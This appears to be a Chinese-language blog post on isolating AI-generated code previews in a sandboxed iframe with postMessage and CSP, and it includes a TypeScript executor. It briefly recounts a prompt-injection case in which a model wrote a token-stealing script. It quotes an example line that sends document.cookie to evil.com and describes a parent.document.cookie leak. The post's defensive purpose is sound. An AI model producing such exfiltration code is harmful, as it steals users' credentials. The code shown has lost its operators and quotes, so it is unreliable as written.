大模型代码预览的 XSS 悬崖:iframe sandbox 沙箱隔离执行方案

发布时间:2026/7/25 2:45:41

大模型代码预览的 XSS 悬崖:iframe sandbox 沙箱隔离执行方案 大模型代码预览的 XSS 悬崖iframe sandbox 沙箱隔离执行方案一、AI 生成代码直接 eval 的安全悬崖某 AI 编程助手上线「一键预览」功能把大模型生成的代码片段直接塞进页面new Function执行。第二周就被白帽报了漏洞模型被提示词注入诱导生成读取localStorage的脚本把用户 token 回传到外部域名。这事我见过太多团队栽进去——把大模型输出当可信内容直接在主上下文里 eval。大模型生成的代码天然不可信。提示词注入、训练数据污染、用户恶意构造输入都能让它产出带攻击意图的片段。在前端主上下文直接eval或new Function等于把整页面的 DOM、cookie、storage、甚至同源下的接口凭证全部暴露。XSS 的危害不止窃取数据还能劫持会话、植入挖矿脚本、伪造界面诱导二次操作。安全执行的核心是「隔离」与「受控通信」。让生成代码跑在一个权限受限、与主应用物理隔离的环境里只能通过受控通道交换数据。iframe 的sandbox属性是浏览器原生提供的隔离机制配合postMessage可构建可用的前端沙箱。下文拆解这套方案的隔离原理、通信协议与边界代价。二、iframe sandbox 与 postMessage 的隔离原理iframe 的sandbox属性接受一组权限令牌。不写sandbox全开写了则默认全关再按需放开。关键组合是allow-scripts允许执行脚本但不加allow-same-origin则 iframe 被浏览器视为「唯一 opaque origin」与父页面不同源。这一条是隔离的根基——沙箱内的代码无法访问父页面的 DOM、cookie、localStorage也无法向父页面同源发起带凭证的请求。postMessage是跨源双向通信的安全通道。发送时指定targetOrigin限定接收方接收时校验event.source与event.origin避免恶意页面冒充。沙箱内的代码通过postMessage把执行结果、console 输出、异常栈回传主应用主应用也通过它注入待执行代码。这条通道是沙箱与外界唯一的交互面收窄了攻击面。CSP 进一步加固。沙箱页设置Content-Security-Policy禁止加载外部脚本、禁止向任意域名发fetch/XHR。即使沙箱内代码想外传数据请求也会在网络层被拦。某 AI 演示站曾靠 CSP 拦住一次模型生成的fetch(https://evil.com, {body: document.cookie})因为connect-src none直接阻断。综上隔离的根基是 sandbox 只开 allow-scripts 不开 allow-same-origin让沙箱落到 opaque origin读不到父页面的 DOM、cookie 与 storagepostMessage 是沙箱与外界唯一交互面发送用 targetOrigin 限定接收方、接收校验 event.source 与 event.origin把开放面压到最小CSP 的 connect-src none 再从网络层兜底即便沙箱内想外传数据也会被拦。三层叠加才构成可信的不可信代码执行环境。三、生产级安全代码沙箱执行器实现下面给出一个可复用的沙箱执行器。它创建带sandbox的 iframe注入含 CSP 的 bootstrap 文档通过postMessage下发代码并收集结果。代码包含超时熔断、消息来源校验、console 截获与异常捕获。export interface SandboxLog { level: log | info | warn | error; args: unknown[]; } export interface SandboxResult { ok: boolean; value?: unknown; error?: string; logs: SandboxLog[]; } export class CodeSandbox { private iframe: HTMLIFrameElement | null null; private pending: { resolve: (r: SandboxResult) void; timer: number; } | null null; constructor(private timeoutMs 3000) {} /** * 执行一段 AI 生成的代码返回结果与日志 * 同一时刻只允许跑一个任务避免消息串扰 */ async run(code: string): PromiseSandboxResult { if (this.pending) { throw new Error(sandbox busy: 上一个任务未结束); } // 每次执行重建 iframe避免上一轮残留的定时器/监听器污染下一轮 this.rebuildIframe(); return new PromiseSandboxResult((resolve) { // 超时熔断沙箱内死循环时主应用不会无限等待 const timer window.setTimeout(() { if (this.pending) { this.pending.resolve({ ok: false, error: execution timeout after ${this.timeoutMs}ms, logs: [], }); this.pending null; this.rebuildIframe(); // 销毁可能卡死的沙箱 } }, this.timeoutMs); this.pending { resolve, timer }; // 绑定一次性的 message 监听收到 done 即解绑 const onMessage (e: MessageEvent) { // 严格校验来源只接受本沙箱 contentWindow 发回的消息 if (!this.iframe || e.source ! this.iframe.contentWindow) return; const data e.data as SandboxMessage; if (!data || data.__sandbox ! true || data.type ! done) return; window.removeEventListener(message, onMessage); if (!this.pending) return; clearTimeout(this.pending.timer); this.pending.resolve({ ok: !data.error, value: data.value, error: data.error, logs: Array.isArray(data.logs) ? data.logs : [], }); this.pending null; }; window.addEventListener(message, onMessage); // 下发代码。targetOrigin 用 * 是因为 sandbox 无 allow-same-origin 时 // iframe origin 为 null无法精确匹配安全性靠 bootstrap 内 source 校验保证 const win this.iframe!.contentWindow; if (!win) { throw new Error(sandbox contentWindow unavailable); } win.postMessage({ __sandbox: true, type: run, code }, *); }); } private rebuildIframe() { if (this.iframe) { this.iframe.remove(); this.iframe null; } const iframe document.createElement(iframe); // 只开 allow-scripts不开 allow-same-origin沙箱视为 opaque origin // 切忌同时开 allow-scripts allow-same-origin那等于放弃隔离 iframe.sandbox.value allow-scripts; iframe.style.display none; document.body.appendChild(iframe); this.iframe iframe; this.writeBootstrap(iframe); } private writeBootstrap(iframe: HTMLIFrameElement) { const doc iframe.contentDocument; if (!doc) throw new Error(sandbox document unavailable); // bootstrap截获 console、监听 run、用 Function 执行、回传 done // CSP 禁止外部脚本与外部连接从网络层兜底防御数据外传 const bootstrap [ (function(){, var logs [];, [log,info,warn,error].forEach(function(level){, var orig console[level].bind(console);, console[level] function(){, var args Array.prototype.slice.call(arguments);, logs.push({ level: level, args: args });, orig.apply(null, args);, // 保留原始输出便于调试 };, });, window.addEventListener(message, function(e){, var d e.data;, if (!d || d.__sandbox ! true || d.type ! run) return;, // 校验来源只接受父窗口下发的任务, if (e.source ! window.parent) return;, logs.length 0;, var result { __sandbox: true, type: done, logs: logs };, try {, var fn new Function(d.code);, result.value fn();, } catch (err) {, result.error (err err.message) ? err.message : String(err);, }, // 安全序列化循环引用会导致 JSON.stringify 抛异常需兜底, try {, result.logs JSON.parse(JSON.stringify(logs));, } catch (_) {, result.logs logs.map(function(l){ return { level: l.level, args: [String(l.args[0])] }; });, }, e.source.postMessage(result, e.origin);, });, })();, ].join(\n); // 注意script 标签字符串拆分避免被外层 HTML 解析器误判 const html !DOCTYPE htmlhtmlhead meta http-equivContent-Security-Policy contentdefault-src \none\; script-src \unsafe-inline\; connect-src \none\ /headbody script bootstrap /scr ipt/body/html; doc.open(); doc.write(html); doc.close(); } dispose() { if (this.iframe) { this.iframe.remove(); this.iframe null; } } } interface SandboxMessage { __sandbox: true; type: run | done; code?: string; value?: unknown; error?: string; logs?: SandboxLog[]; }关键点在三处。其一sandbox只开allow-scripts不开allow-same-origin沙箱与父页面物理隔离代码读不到 cookie 与 storage。其二每次执行重建 iframe避免上一轮残留的全局变量、定时器、事件监听污染下一轮。其三超时熔断 消息来源校验双保险沙箱死循环不会拖死主应用恶意页面冒充消息也会被e.source校验拦下。四、沙箱的权限代价与逃逸边界这套方案不是无懈可击。最致命的误用是同时开启allow-scripts与allow-same-origin——此时沙箱与父页面同源代码可访问父页面 DOM、cookie、storage隔离彻底失效。某低代码平台曾为「方便沙箱读取主题配置」开了allow-same-origin结果被注入脚本parent.document.cookie全部泄露。原则是宁可牺牲便利也绝不叠加这两个令牌。postMessage的消息校验是另一道易漏的口子。若接收消息时不校验event.source任意页面都能向主应用发消息伪造执行结果。校验必须落到e.source this.iframe.contentWindow这一级仅凭__sandbox标记字段不够。某沙箱库曾因此被构造消息绕过日志校验注入虚假错误信息。超时熔断有代价。沙箱内若有合理的长任务如大数组计算会被误杀。阈值需根据场景调AI 代码预览通常 3 秒足够复杂场景可放宽到 10 秒。超时后重建 iframe 也会丢失沙箱内尚未回传的日志调试时需注意。CSP 的script-src unsafe-inline是必要妥协。沙箱 bootstrap 必须以内联方式注入无法用外部脚本。但connect-src none已经封死了网络外传通道unsafe-inline的风险被限制在沙箱内部。若追求更强约束可改用script-src指定 bootstrap 的哈希值但实现复杂度上升。适用边界AI 生成代码预览、低代码平台脚本试运行、用户自定义公式执行等「不可信代码受限执行」场景收益最高。需要访问真实业务数据、调用业务接口的场景不适合——沙箱的设计目标就是不让它碰这些。五、总结AI 生成代码的前端预览核心矛盾是「要执行」与「不可信」。iframe sandbox postMessage 把执行环境物理隔离把通信收窄到受控通道是当前浏览器原生能力下的务实方案。落地建议第一sandbox 只开 allow-scripts绝不叠加 allow-same-origin守住同源隔离。第二postMessage 双向校验 event.source不依赖自定义标记字段。第三沙箱页设 CSPconnect-src none 从网络层兜底防御数据外传。第四每次执行重建 iframe超时熔断 iframe 销毁双保险防死循环。第五console 截获与异常捕获全包 try循环引用序列化要兜底。这条路在不可信代码受限执行的场景下能跑通回报是值得的。

相关新闻